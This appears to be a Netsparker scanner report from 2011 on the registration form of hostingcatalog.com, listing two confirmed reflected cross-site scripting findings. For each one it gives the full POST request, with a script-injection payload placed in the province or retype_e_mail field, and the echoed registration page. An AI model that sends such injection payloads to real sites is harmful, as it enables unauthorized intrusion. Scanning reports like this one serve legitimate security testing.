<option value='325A5101EE356073A10958FDC418F05FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE356073B557E03D0E69EE0B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE356073A2CB9B9C22CC2E7E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE3560735141AE2D86AA09356F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST '"--></style></script><script>alert(0x001CF6)</script>
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 583
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CF6)%3c%2fscript%3e&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:51 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE356073CE74F460947B31D6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE356073FEC27D16BB4413076F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE3560731F4B14D3FF49CD55C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073AE90F0627E070188C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE356073B122FF71CF03FB3C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='325A5101EE356073B2321D272A2F09CBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='325A5101EE356073250F91A63ACFAA1AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='325A5101EE3560735E39EF44A02EBCD46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='325A5101EE35607353DEAD80456A3DC9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='325A5101EE356073CCF0C23832F881EC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='325A5101EE356073160FDBBFD85486ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='325A5101EE3560737DC3A9501319989EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='325A5101EE35607382BA6BCC4F827E97C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073F68A5FFA886EBF8DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='325A5101EE35607350372E7016BFB658C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='325A5101EE35607387F0482BA0440F5BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='325A5101EE35607387413FE2071809846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='325A5101EE35607359E5AFF71BCC34636F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='325A5101EE35607360C74C429EBDCD3B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST '"--></style></script><script>alert(0x001CF7)</script>
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 560
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001CF7)%3c%2fscript%3e&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='325A5101EE3560732400868C6EFB03CFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='325A5101EE3560736D4039A680C647D16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='325A5101EE3560738D6757CD93819AD9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='325A5101EE356073945F4B4A67A0F7F9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='325A5101EE35607382817836A7C5E2A36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
